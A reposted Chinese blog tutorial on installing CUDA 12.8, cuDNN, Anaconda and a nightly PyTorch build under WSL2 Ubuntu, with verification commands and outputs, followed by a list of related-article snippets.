在WSL2-Ubuntu中安装CUDA12.8、cuDNN、Anaconda、Pytorch并验证安装

#记录工作

提示:整个过程最好先开启系统代理,也可以用镜像源,确保有官方发布的最新特性和官方库的完整和兼容性支持。

 期间下载会特别慢,需要在系统上先开启代理,然后WSL设置里打开网络模式“Mirrored”,以设置WSL自动使用主机上的代理网络。

【WLS2怎么设置网络自动代理 - CSDN App】https://blog.csdn.net/u014451778/article/details/146073726?sharetype=blog&shareId=146073726&sharerefer=APP&sharesource=u014451778&sharefrom=link

一、首先要先确保——windows系统中要正确安装了以下组件:

(一)显卡驱动;

下载 NVIDIA 官方驱动 | NVIDIA

(二)Microsoft Visual Studio;

下载 Visual Studio Tools - 免费安装 Windows、Mac、Linux

(三)CUDA;

CUDA Toolkit 12.8 Downloads | NVIDIA Developer

(四)cuDNN;

CUDA Toolkit 12.8 Downloads | NVIDIA Developer

(五)正确安装WSL2-Ubuntu版本

要正常安装WSL2-Ubuntu版本,安装成功后打开ubuntu界面输出如下界面:

安装 WSL | Microsoft Learn

该版本默认是安装的WSL2-Ubuntu 24.04版本 ,也可以选择其他的ubuntu版本进行安装。

二、在WSL2-Ubuntu系统中安装CUDA、cuDNN、Anaoconda

在windows系统中正确安装完必要组件后,然后才是在WSL2-Ubuntu中按照顺序安装 CUDA、cuDNN、Anaoconda。

打开WSL2-Ubuntu,先安装CUDA、再安装cuDNN、最后是Anaconda(管理虚拟环境)

只要windows系统配置好了显卡驱动,在WSL2中一般不必再另外安装linux驱动了。

在安装前可以在WSL2-Ubuntu中使用以下命令进行验证与显卡的通信和驱动调用的情况:

nvidia-smi

(一)安装CUDA

打开CUDA官方网址<建议“deb(network)”方式较为省事>,完整复制全部命令粘贴进WSL2-Ubuntu终端中按回车键运行。

CUDA Toolkit 12.8 Downloads | NVIDIA Developer

选项如图所示:

当然,也可以选WSL-Ubuntu这个选项更把稳。

wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2404/x86_64/cuda-keyring_1.1-1_all.deb
sudo dpkg -i cuda-keyring_1.1-1_all.deb
sudo apt-get update
sudo apt-get -y install cuda-toolkit-12-8

1、复制图片/官网下边的全部命令,粘贴到WSL2-Ubuntu终端窗口中,按ENTER键(回车键)运行 

2、过程中会要求输入密码,输入ubuntu密码即可。

3、执行命令后会自动进行下载和安装: 

4、安装结束后进行环境变量的编辑:

 a)我们可以按照下面的步骤来永久添加环境变量:

检查安装是否成功在配置环境变量之前,先确认 CUDA 是否正确安装。运行以下命令:ls /usr/local/cuda-12.8/bin/

在 WSL2-Ubuntu 系统中,CUDA 12.8 通常安装在/usr/local/cuda-12.8目录下,这个目录包含了 CUDA 相关的各种组件,如 bin(包含可执行文件,比如 nvcc 编译器就在这里面)、lib64(包含库文件)、include(包含头文件) 等。如果在安装过程中没有指定其他特殊路径,这就是默认的安装位置。我们可以通过以下命令来验证:

ls /usr/local/cuda-12.8

  如果安装成功,我们会看到nvcc等工具的列表。如果没有看到这些文件,可能需要重新检查安装步骤。

从我执行 ls /usr/local/cuda-12.8 后的输出结果来看,CUDA 12.8 似乎已经成功安装到了 /usr/local/cuda-12.8 目录下。

接下来,我们需要将 /usr/local/cuda-12.8/bin 目录添加到系统的 PATH 环境变量中,以便系统能够找到 nvcc 等命令。


b) 配置环境变量环境变量的配置需要根据你的系统类型(Bash 或 Zsh)来操作。
 确认当前使用的 Shell

首先,确认你当前使用的 Shell 是 Bash 还是 Zsh。

我们可以通过以下命令查看:

echo $SHELL

• 如果输出是   /bin/bash  ,则使用 Bash。

• 如果输出是   /bin/zsh  ,则使用 Zsh。

c)编辑环境变量配置文件

以下是常见的配置方法:

对于 Bash 用户

编辑   ~/.bashrc   文件,

nano ~/.bashrc

添加以下内容: 

export PATH=/usr/local/cuda-12.8/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/cuda-12.8/lib64:$LD_LIBRARY_PATH

• 按下   Ctrl + X  ,然后按   Y   确认保存,最后按   Enter   完成退出。 

保存文件后,运行以下命令使变量生效:

source ~/.bashrc
对于 Zsh 用户

编辑   ~/.zshrc   文件,

nano ~/.bashrc

添加相同的内容 : 

export PATH=/usr/local/cuda-12.8/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/cuda-12.8/lib64:$LD_LIBRARY_PATH

保存文件后,运行以下命令使变量生效(选其一):

source ~/.bashrc   # 如果是 Bash 用户
source ~/.zshrc    # 如果是 Zsh 用户

 5. 验证环境变量

配置完成后,运行以下命令验证:

echo $PATH

 6. 测试   nvcc  

运行   nvcc -V  或nvcc --version
,检查输出是否正确。

nvcc -V

或者: 

nvcc --version

如果配置正确,你会看到类似以下的输出:

love@AI:~$ ls /usr/local/cuda-12.8
DOCS      README  compute-sanitizer  extras  include  libnvvp           nvml  share  targets  version.json
EULA.txt  bin     doc                gds     lib64    nsightee_plugins  nvvm  src    tools
love@AI:~$ echo $SHELL
/bin/bash
love@AI:~$ nano ~/.bashrc
love@AI:~$ source ~/.bashrc
love@AI:~$ nvcc -V
nvcc: NVIDIA (R) Cuda compiler driver
Copyright (c) 2005-2025 NVIDIA Corporation
Built on Wed_Jan_15_19:20:09_PST_2025
Cuda compilation tools, release 12.8, V12.8.61
Build cuda_12.8.r12.8/compiler.35404655_0
love@AI:~$

至此,CUDA算是安装成功并得到验证。

7.驱动程序安装程序(建议)

在官方CUDA安装命令下方,有以下命令选项,强烈建议在验证完CUDA安装正确后,再次运行以下命令(任选其一)以确保安装程序的未来兼容性。

NVIDIA 驱动程序说明(选择一个选项)

 要安装 open kernel module 风格:

sudo apt-get install -y nvidia-open

要安装旧版内核模块风格:

sudo apt-get install -y cuda-drivers

 NVIDIA 驱动程序提供了两种内核模块风格:open kernel module(开源内核模块)和旧版内核模块(proprietary kernel module,专有内核模块)。这两种风格的主要区别在于它们的许可证类型、支持的功能和兼容性。


open kernel module 风格

• 许可证:开源,通常采用 MIT/GPLv2 许可证。

• 支持的 GPU 架构:支持 Turing 及以后的 GPU 架构。

• 支持的功能:支持大多数 Linux GPU 驱动程序的功能,包括 CUDA、Vulkan、OpenGL、OptiX 和 X11。此外,还有一些功能是仅 open kernel modules 支持的,例如 NVIDIA Confidential Computing、Magnum IO GPUDirect Storage(GDS)、Heterogeneous Memory Management(HMM)、CPU affinity for GPU fault handlers 和 DMABUF support for CUDA allocations。

• 兼容性:可能不支持所有旧版专有内核模块支持的特性,例如 NVIDIA virtual GPU(vGPU)、G-Sync on notebooks 和 Preserving video memory across power management events。

旧版内核模块风格

• 许可证:专有,由 NVIDIA 提供。

• 支持的 GPU 架构:支持 Maxwell、Pascal、Volta、Turing 和之后的 GPU 架构。

• 支持的功能:支持所有 NVIDIA GPU 驱动程序的功能,包括那些可能在 open kernel modules 中尚未支持的特性。

• 兼容性:通常更稳定,特别是在支持较旧的硬件和特定的企业级应用场景中。


新手用户推荐
对于新手用户,推荐安装open kernel module 风格的驱动程序,原因如下:

• 开源:更透明,社区支持更广泛。

• 更新:通常包含最新的功能和改进。

• 兼容性:对于大多数现代应用和游戏来说,open kernel modules 提供的兼容性已经足够。

然而,如果你有特定的需求,比如需要使用专有驱动程序中特有的功能,或者你的硬件较旧,可能需要旧版内核模块风格。

在安装驱动程序之前,建议先阅读 NVIDIA 的官方文档,了解不同风格的详细区别和推荐使用场景。此外,确保我们的系统满足安装要求,并按照官方指南进行操作,以避免潜在的兼容性问题。

(二)安装cuDNN

打开CUDA官方网址<建议“deb(network)”方式较为省事>,完整复制全部命令粘贴进WSL2-Ubuntu终端中按回车键运行。

cuDNN 9.8.0 Downloads | NVIDIA Developer

 选项如图所示:

wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2404/x86_64/cuda-keyring_1.1-1_all.deb
sudo dpkg -i cuda-keyring_1.1-1_all.deb
sudo apt-get update
sudo apt-get -y install cudnn

1、复制图片/官网下边的全部命令,粘贴到WSL2-Ubuntu终端窗口中,按ENTER键运行

2、执行命令后会自动进行下载和安装:

3、暂时性地验证 cuDNN 安装

此时,暂时性地验证 cuDNN 安装是否成功可以通过以下方法:

检查文件路径的方法
cuDNN 的库文件通常会被安装到`/usr/lib/x86_64-linux-gnu`或`/usr/local/cuda/lib64`目录下。你可以通过以下命令检查这些文件是否存在:

ls /usr/lib/x86_64-linux-gnu/libcudnn*

 输出应该如下所示:

love@AI:~$ ls /usr/lib/x86_64-linux-gnu/libcudnn*
/usr/lib/x86_64-linux-gnu/libcudnn.so
/usr/lib/x86_64-linux-gnu/libcudnn.so.9
/usr/lib/x86_64-linux-gnu/libcudnn.so.9.8.0
/usr/lib/x86_64-linux-gnu/libcudnn_adv.so
/usr/lib/x86_64-linux-gnu/libcudnn_adv.so.9
/usr/lib/x86_64-linux-gnu/libcudnn_adv.so.9.8.0
/usr/lib/x86_64-linux-gnu/libcudnn_adv_static.a
/usr/lib/x86_64-linux-gnu/libcudnn_adv_static_v9.a
/usr/lib/x86_64-linux-gnu/libcudnn_cnn.so
/usr/lib/x86_64-linux-gnu/libcudnn_cnn.so.9
/usr/lib/x86_64-linux-gnu/libcudnn_cnn.so.9.8.0
/usr/lib/x86_64-linux-gnu/libcudnn_cnn_static.a
/usr/lib/x86_64-linux-gnu/libcudnn_cnn_static_v9.a
/usr/lib/x86_64-linux-gnu/libcudnn_engines_precompiled.so
/usr/lib/x86_64-linux-gnu/libcudnn_engines_precompiled.so.9
/usr/lib/x86_64-linux-gnu/libcudnn_engines_precompiled.so.9.8.0
/usr/lib/x86_64-linux-gnu/libcudnn_engines_precompiled_static.a
/usr/lib/x86_64-linux-gnu/libcudnn_engines_precompiled_static_v9.a
/usr/lib/x86_64-linux-gnu/libcudnn_engines_runtime_compiled.so
/usr/lib/x86_64-linux-gnu/libcudnn_engines_runtime_compiled.so.9
/usr/lib/x86_64-linux-gnu/libcudnn_engines_runtime_compiled.so.9.8.0
/usr/lib/x86_64-linux-gnu/libcudnn_engines_runtime_compiled_static.a
/usr/lib/x86_64-linux-gnu/libcudnn_engines_runtime_compiled_static_v9.a
/usr/lib/x86_64-linux-gnu/libcudnn_graph.so
/usr/lib/x86_64-linux-gnu/libcudnn_graph.so.9
/usr/lib/x86_64-linux-gnu/libcudnn_graph.so.9.8.0
/usr/lib/x86_64-linux-gnu/libcudnn_graph_static.a
/usr/lib/x86_64-linux-gnu/libcudnn_graph_static_v9.a
/usr/lib/x86_64-linux-gnu/libcudnn_heuristic.so
/usr/lib/x86_64-linux-gnu/libcudnn_heuristic.so.9
/usr/lib/x86_64-linux-gnu/libcudnn_heuristic.so.9.8.0
/usr/lib/x86_64-linux-gnu/libcudnn_heuristic_static.a
/usr/lib/x86_64-linux-gnu/libcudnn_heuristic_static_v9.a
/usr/lib/x86_64-linux-gnu/libcudnn_ops.so
/usr/lib/x86_64-linux-gnu/libcudnn_ops.so.9
/usr/lib/x86_64-linux-gnu/libcudnn_ops.so.9.8.0
/usr/lib/x86_64-linux-gnu/libcudnn_ops_static.a
/usr/lib/x86_64-linux-gnu/libcudnn_ops_static_v9.a

从我的提供的输出结果来看,cuDNN 库文件已经成功安装在`/usr/lib/x86_64-linux-gnu`目录下,而不是`/usr/local/cuda/lib64`。这说明 cuDNN 的安装路径是正确的,并且系统已经正确配置了相关的库文件。

以下是验证结果解释:

• cuDNN 库文件存在:

• 我已经找到了多个 cuDNN 的动态链接库(如`libcudnn.so`、`libcudnn.so.9`、`libcudnn.so.9.8.0`)和静态库(如`libcudnn_adv_static.a`、`libcudnn_cnn_static_v9.a`等)。

• 这些文件的存在表明 cuDNN 已正确安装。


• CUDA 目录下没有 cuDNN 文件:

• `/usr/local/cuda/lib64`目录下没有找到 cuDNN 文件,这是因为 cuDNN 的安装路径是`/usr/lib/x86_64-linux-gnu`,而不是`/usr/local/cuda`。

• 这是正常的,因为 cuDNN 的安装路径通常由系统包管理器(如`apt`)决定,而不是手动安装到 CUDA 的目录下。

小结:从我的输出结果来看,cuDNN 已正确安装在   /usr/lib/x86_64-linux-gnu   目录下。

接下来我们将通过安装Anaconda之后,在与系统隔离的虚拟环境中安装Pytorch来完全地验证CUDA和cuDNN的安装是否正确。


 

(三)安装Anaconda

通过查询,截止2025年03月06日,最新版本Anaconda完整文件名为:Anaconda3-2024.10-1-Linux-x86_64.sh

1、通过以下命令下载和安装:

复制命令粘贴到WSL2-Ubuntu终端窗口中,按ENTER键运行

wget -P /tmp https://repo.anaconda.com/archive/Anaconda3-2024.10-1-Linux-x86_64.sh # 下载anaconda安装包至 /tmp 目录下
bash /tmp/Anaconda3-2024.10-1-Linux-x86_64.sh # 安装anaconda

2、执行命令后会自动进行下载完成后会进入安装步骤: 

此时要点击ENTER键后一直按着不松开,来翻页阅读安装前协议

 继续按着ENTER键不松手,直到出现输入框才停止

一直按到出现输入框,按多了也没关系,不输入就不能继续

 用键盘手动输入“yes”,之后按ENTER回车键确认输入。然后进入到下边这个界面:

这会会询问安装位置,默认不修改则继续按一次ENTER键确认使用默认安装路径:

之后安装会询问:是否要集成到shell当中,自动进入默认虚拟环境? 

建议输入“yes”

 

此时安装完成。

建议关闭终端,然后重新打开,看看是否自动进入默认的conda的base虚拟环境了: 

 可以看到重新打开WSL2-Ubuntu终端后已自动激活base默认的Anaconda虚拟环境了。

3、验证Anaconda的安装

验证 Conda 安装是否成功可以通过以下几种方法。这些方法可以帮助你确认 Conda 是否正确安装,并且能够正常运行。


方法 1:检查 Conda 版本
运行以下命令来检查 Conda 的版本号。如果 Conda 安装成功,它会显示当前的版本信息:

conda --version


如果输出类似以下内容,则说明 Conda 安装成功:


如果没有输出,或者提示`conda: command not found`,则说明 Conda 没有正确安装,或者其路径没有被添加到系统的环境变量中。


方法 2:检查 Conda 环境
运行以下命令来查看当前的 Conda 环境列表:

conda env list


如果 Conda 安装成功,你会看到类似以下的输出,列出所有已创建的 Conda 环境:


 

方法 3:创建并激活新的 Conda 环境
你可以创建一个新的 Conda 环境并激活它,以验证 Conda 的功能是否正常:


• 创建新的环境:

conda create -n testenv python=3.9

• 激活环境:

conda activate testenv

• 检查当前环境:

conda info --envs


如果输出显示当前激活的环境是`testenv`,则说明 Conda 正常工作:


# conda environments:
#
base                     /home/love/miniconda3
testenv               *  /home/love/miniconda3/envs/testenv
```

方法 4:安装并验证 Python 包
在激活的 Conda 环境中,安装一个常用的 Python 包(如`numpy`),并验证其是否正常工作:


• 安装包:

 conda install numpy

• 验证安装:

 python -c "import numpy; print(numpy.__version__)"


如果输出显示了`numpy`的版本号(例如`1.23.4`),则说明 Conda 和 Python 环境正常工作。


方法 5:检查 Conda 配置
运行以下命令来检查 Conda 的配置信息:

conda config --show


这将显示 Conda 的配置文件路径、默认环境路径、通道(channels)等信息。如果输出正常,说明 Conda 的配置文件没有问题。


方法 6:检查 Conda 的初始化
如果你在安装 Conda 后没有运行初始化命令,可能会导致`conda`命令无法正常使用。运行以下命令来初始化 Conda:

conda init


然后重新打开终端窗口,再次运行`conda --version`来验证。

conda --version


小结
通过以上方法,你可以全面验证 Conda 是否正确安装并正常工作。如果在验证过程中遇到问题,请检查以下内容:

• 确保 Conda 的安装路径已添加到系统的环境变量中。

• 确保 Conda 初始化完成。

• 如果仍然有问题,可以尝试重新安装 Conda。

三、安装Pytorch并验证CUDA12.8、cuDNN、Anaconda、Pytorch的安装

(一)安装Pytorch

我们就用默认的base环境来安装torch进行验证WSL2-Ubuntu的整个深度学习环境的搭建是否成功

目前CUDA12.8版本还不支持conda命令安装,今后torch官方会更新出conda包,我们就先用官方给的pip命令安装Preview (Nightly)版:

pip3 install --pre torch torchvision torchaudio --index-url https://download.pytorch.org/whl/nightly/cu128

 过一会后安装完成:

 接下来我们将用这个重要的深度学习库来验证之前的所有安装。

(二)用Pytorch并验证CUDA12.8、cuDNN、Anaconda、Pytorch的安装

先关闭WSL2-Ubuntu终端后,重新打开WSL2-Ubuntu终端;

在WSL2-Ubuntu终端内输入“python”并回车调起python:

python

 

复制以下整段代理粘贴后按ENTER回车键支持验证:

import torch  # 导入 PyTorch 库print("PyTorch 版本:", torch.__version__)  # 打印 PyTorch 的版本号# 检查 CUDA 是否可用,并设置设备("cuda:0" 或 "cpu")
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
print("设备:", device)  # 打印当前使用的设备
print("CUDA 可用:", torch.cuda.is_available())  # 打印 CUDA 是否可用
print("cuDNN 已启用:", torch.backends.cudnn.enabled)  # 打印 cuDNN 是否已启用# 打印 PyTorch 支持的 CUDA 和 cuDNN 版本
print("支持的 CUDA 版本:", torch.version.cuda)
print("cuDNN 版本:", torch.backends.cudnn.version())# 创建两个随机张量(默认在 CPU 上)
x = torch.rand(5, 3)
y = torch.rand(5, 3)# 将张量移动到指定设备(CPU 或 GPU)
x = x.to(device)
y = y.to(device)# 对张量进行逐元素相加
z = x + y# 打印结果
print("张量 z 的值:")
print(z)  # 输出张量 z 的内容

 如果输出如下,则表明CUDA12.8、cuDNN、Anaconda、Pytorch全部安装成功!

从上边的输出来看,你已经成功地在 Python 中导入了 PyTorch,并且确认了 CUDA 和 cuDNN 的可用性。你的代码运行正常,并且 PyTorch 正在使用 GPU(`cuda:0`)进行计算。以下是对代码和输出的总结:

(base) love@AI:~$ python
Python 3.12.7 | packaged by Anaconda, Inc. | (main, Oct  4 2024, 13:27:36) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import torch  # 导入 PyTorch 库
"PyTorch 版本:", torch.__version__)  # 打印 PyTorch 的版本号# 检查 CUDA 是否可用,并设置设备("cuda:0" 或 "cpu")
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
print("设备:", device)  # 打印当前使用的设备
print("CUDA 可用:", torch.cuda.is_available())  # 打印 CUDA 是否可用
print("cuDNN 已启用:", torch.backends.cudnn.enabled)  # 打印 cuDNN 是否已启用# 打印 PyTorch 支持的 CUDA 和 cuDNN 版本
print("支持的 CUDA 版本:", torch.version.cuda)
print("cuDNN 版本:", torch.backends.cudnn.version())# 创建两个随机张量(默认在 CPU 上)
x = torch.rand(5, 3)
y = torch.rand(5, 3)# 将张量移动到指定设备(CPU 或 GPU)
x = x.to(device)
y = y.to(device)# 对张量进行逐元素相加
z = x + y# 打印结果
print("张量 z 的值:")
print(z)  # 输出张量 z 的内容>>>
>>> print("PyTorch 版本:", torch.__version__)  # 打印 PyTorch 的版本号
PyTorch 版本: 2.7.0.dev20250306+cu128
>>>
>>> # 检查 CUDA 是否可用,并设置设备("cuda:0" 或 "cpu")
>>> device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
>>> print("设备:", device)  # 打印当前使用的设备
设备: cuda:0
>>> print("CUDA 可用:", torch.cuda.is_available())  # 打印 CUDA 是否可用
CUDA 可用: True
>>> print("cuDNN 已启用:", torch.backends.cudnn.enabled)  # 打印 cuDNN 是否已启用
cuDNN 已启用: True
>>>
>>> # 打印 PyTorch 支持的 CUDA 和 cuDNN 版本
>>> print("支持的 CUDA 版本:", torch.version.cuda)
支持的 CUDA 版本: 12.8
>>> print("cuDNN 版本:", torch.backends.cudnn.version())
cuDNN 版本: 90701
>>>
>>> # 创建两个随机张量(默认在 CPU 上)
>>> x = torch.rand(5, 3)
>>> y = torch.rand(5, 3)
>>>
>>> # 将张量移动到指定设备(CPU 或 GPU)
>>> x = x.to(device)
>>> y = y.to(device)
>>>
>>> # 对张量进行逐元素相加
>>> z = x + y
>>>
>>> # 打印结果
>>> print("张量 z 的值:")
张量 z 的值:
>>> print(z)  # 输出张量 z 的内容
tensor([[0.8231, 0.9657, 1.3131],[0.8789, 1.4404, 0.8304],[0.8528, 1.3328, 1.9110],[1.0722, 0.6289, 1.4093],[1.1559, 0.8878, 0.5438]], device='cuda:0')
>>>


---

代码运行结果:
PyTorch 版本: 2.7.0.dev20250306+cu128
设备: cuda:0
CUDA 可用: True
cuDNN 已启用: True
支持的 CUDA 版本: 12.8
cuDNN 版本: 90701

---

关键信息:

• PyTorch 版本:`2.7.0.dev20250306+cu128`

• 这是一个开发版本(`dev`),并且是针对 CUDA 12.8 的版本。


• 设备:`cuda:0`

• 表示 PyTorch 已成功检测到 GPU,并将使用第一个 GPU 设备。


• CUDA 和 cuDNN:

• CUDA 可用:`True`,表示系统支持 CUDA,PyTorch 可以利用 GPU 加速。

• cuDNN 已启用:`True`,表示 cuDNN 已启用,这有助于进一步加速深度学习任务。

• 支持的 CUDA 版本:`12.8`,表示 PyTorch 支持 CUDA 12.8。

• cuDNN 版本:`90701`(即 cuDNN 9.7.1)。


---

如果我们遇到任何问题(例如 CUDA 不可用),请确保:

• 检查 GPU 驱动和 CUDA 安装:

• GPU 驱动是最新的。

• 安装了正确版本的 CUDA 和 cuDNN。

• PyTorch 版本与 CUDA 版本兼容。


---

【Windows 11 中部署 Linux 项目 - CSDN App】https://blog.csdn.net/u014451778/article/details/144777265?sharetype=blog&shareId=144777265&sharerefer=APP&sharesource=u014451778&sharefrom=link


至此,在Windosw系统上的WSL2-Ubuntu深度学习环境配置完成,可以在Windosw系统上优雅地借助Windosw的易用性和Linux系统的高效性进行项目部署和开发调试了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/897474.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ubuntu 24.04.2 允许 root 登录桌面、 ssh 远程、允许 Ubuntu 客户机与主机拖拽传递文件

允许 root 登录桌面 修改 /etc/pam.d/gdm-autologin , /etc/pam.d/gdm-password 加 # 以注释掉 auth required pam_succeed_if.so user ! root quiet_success 允许 root 通过 ssh 登录 修改 /etc/ssh/sshd_config ... #PermitRootLogin prohibit-password PermitRootLogin …

SQLAlchemy系列教程:如何执行原生SQL

Python中的数据库交互提供了高级API。但是&#xff0c;有时您可能需要执行原始SQL以提高效率或利用数据库特定的特性。本指南介绍在SQLAlchemy框架内执行原始SQL。 在SQLAlchemy中执行原生SQL SQLAlchemy虽然以其对象-关系映射&#xff08;ORM&#xff09;功能而闻名&#xff…

基于SpringBoot的手机销售网站设计与实现(源码+SQL脚本+LW+部署讲解等)

专注于大学生项目实战开发,讲解,毕业答疑辅导&#xff0c;欢迎高校老师/同行前辈交流合作✌。 技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;…

浏览器安全问题

1. XSS攻击 概念 XSS 攻击指的是跨站脚本攻击&#xff0c;是一种代码注入攻击。攻击者通过在网站注入恶意脚本&#xff0c;使之在用户的浏览器上运行&#xff0c;从而盗取用户的信息如 cookie 等 XSS本质是因为网站没有对恶意代码进行过滤&#xff0c;与正常代码混合在一起了…

Spring(五)容器-依赖注入的三种方式

目录 总结&#xff1a;通用的三种注入方式 1 字段注入 2 构造器注入 3 set注入 总结&#xff1a;通用的三种注入方式 优先使用构造器注入谨慎使用 Setter 注入避免滥用字段注入 通过构造器传入依赖&#xff0c;确保对象创建时即完成初始化。通过 Setter 方法注入依赖&#x…

Python贝壳网二手小区数据爬取(2025年3月更)

文章目录 一、代码整体架构解析二、各部分代码详解1. main()主函数解析2. 会话初始化&#xff08;伪装浏览器身份&#xff09;3. 动态参数生成&#xff08;反爬虫核心机制&#xff09;4. 列表页抓取&#xff08;获取小区列表&#xff09;5. 列表页解析&#xff08;提取小区信息…

使用服务器搭建一个专属的密码管理工具Vaultwarden

一、服务器配置与Docker环境 ‌实例选型与系统准备‌ ‌推荐配置‌&#xff1a;‌1核2GB内存‌&#xff08;莱卡云L1型实例&#xff09;&#xff0c;Vaultwarden资源占用低&#xff0c;适合轻量级部署‌34。‌操作系统‌&#xff1a;选择 ‌Ubuntu 22.04 LTS‌&#xff0c;兼容…

安孚科技携手政府产业基金、高能时代发力固态电池,开辟南孚电池发展新赛道

安孚科技出手&#xff0c;发力固态电池。 3月7日晚间&#xff0c;安孚科技&#xff08;603031.SH&#xff09;发布公告称&#xff0c;公司控股子公司南孚电池拟与南平市绿色产业投资基金有限公司&#xff08;下称“南平绿色产业基金”&#xff09;、高能时代&#xff08;广东横…

IO学习---->线程

1.创建两个线程&#xff0c;分支线程1拷贝文件的前一部分&#xff0c;分支线程2拷贝文件的后一部分 #include <head.h> sem_t sem; long half_size 0; // 全局变量&#xff0c;供所有线程共享void* product(void *arg) {FILE *src fopen("IO.text", "…

深度学习分词器char-level实战详解

一、三种分词器基本介绍 word-level&#xff1a;将文本按照空格或者标点分割成单词&#xff0c;但是词典大小太大 subword-level&#xff1a;词根分词&#xff08;主流&#xff09; char-level&#xff1a;将文本按照字母级别分割成token 二、charlevel代码 导包&#xff1…

基于SpringBoot实现旅游酒店平台功能六

一、前言介绍&#xff1a; 1.1 项目摘要 随着社会的快速发展和人民生活水平的不断提高&#xff0c;旅游已经成为人们休闲娱乐的重要方式之一。人们越来越注重生活的品质和精神文化的追求&#xff0c;旅游需求呈现出爆发式增长。这种增长不仅体现在旅游人数的增加上&#xff0…

git规范提交之commitizen conventional-changelog-cli 安装

一、引言 使用规范的提交信息可以让项目更加模块化、易于维护和理解&#xff0c;同时也便于自动化工具&#xff08;如发布工具或 Changelog 生成器&#xff09;解析和处理提交记录。 通过编写符合规范的提交消息&#xff0c;可以让团队和协作者更好地理解项目的变更历史和版本…

前端实现版本更新自动检测✅

&#x1f916; 作者简介&#xff1a;水煮白菜王&#xff0c;一位资深前端劝退师 &#x1f47b; &#x1f440; 文章专栏&#xff1a; 前端专栏 &#xff0c;记录一下平时在博客写作中&#xff0c;总结出的一些开发技巧和知识归纳总结✍。 感谢支持&#x1f495;&#x1f495;&a…

硬件基础(4):(5)设置ADC电压采集中MCU的参考电压

Vref 引脚通常是 MCU (特别是带有 ADC 的微控制器) 上用来提供或接收基准电压的引脚&#xff0c;ADC 会以该基准电压作为量程参考对输入模拟信号进行数字化转换。具体来说&#xff1a; 命名方式 在不同厂家的 MCU 中&#xff0c;Vref 引脚可能会被标记为 VREF / VREF- / VREF_…

postman接口请求中的 Raw是什么

前言 在现代的网络开发中&#xff0c;API 的使用已经成为数据交换的核心方式之一。然而&#xff0c;在与 API 打交道时&#xff0c;关于如何发送请求体&#xff08;body&#xff09;内容类型的问题常常困扰着开发者们&#xff0c;尤其是“raw”和“json”这两个术语之间的区别…

为什么要使用前缀索引,以及建立前缀索引:sql示例

背景&#xff1a; 你想啊&#xff0c;数据库里有些字段&#xff0c;它老长了&#xff0c;就像那种 varchar(255) 的字段&#xff0c;这玩意儿要是整个字段都拿来建索引&#xff0c;那可太占地方了。打个比方&#xff0c;这就好比你要在一个超级大的笔记本上记东西&#xff0c;每…

【语料数据爬虫】Python爬虫|批量采集会议纪要数据(1)

前言 本文是该专栏的第2篇,后面会持续分享Python爬虫采集各种语料数据的的干货知识,值得关注。 在本文中,笔者将主要来介绍基于Python,来实现批量采集“会议纪要”数据。同时,本文也是采集“会议纪要”数据系列的第1篇。 采集相关数据的具体细节部分以及详细思路逻辑,笔…

Android 线程池实战指南:高效管理多线程任务

在 Android 开发中&#xff0c;线程池的使用非常重要&#xff0c;尤其是在需要处理大量异步任务时。线程池可以有效地管理线程资源&#xff0c;避免频繁创建和销毁线程带来的性能开销。以下是线程池的使用方法和最佳实践。 1. 线程池的基本使用 &#xff08;1&#xff09;创建线…

SQL29 计算用户的平均次日留存率

SQL29 计算用户的平均次日留存率 计算用户的平均次日留存率_牛客题霸_牛客网 题目&#xff1a;现在运营想要查看用户在某天刷题后第二天还会再来刷题的留存率。 示例&#xff1a;question_practice_detail -- 输入&#xff1a; DROP TABLE IF EXISTS question_practice_detai…

深度学习分类回归(衣帽数据集)

一、步骤 1 加载数据集fashion_minst 2 搭建class NeuralNetwork模型 3 设置损失函数&#xff0c;优化器 4 编写评估函数 5 编写训练函数 6 开始训练 7 绘制损失&#xff0c;准确率曲线 二、代码 导包&#xff0c;打印版本号&#xff1a; import matplotlib as mpl im…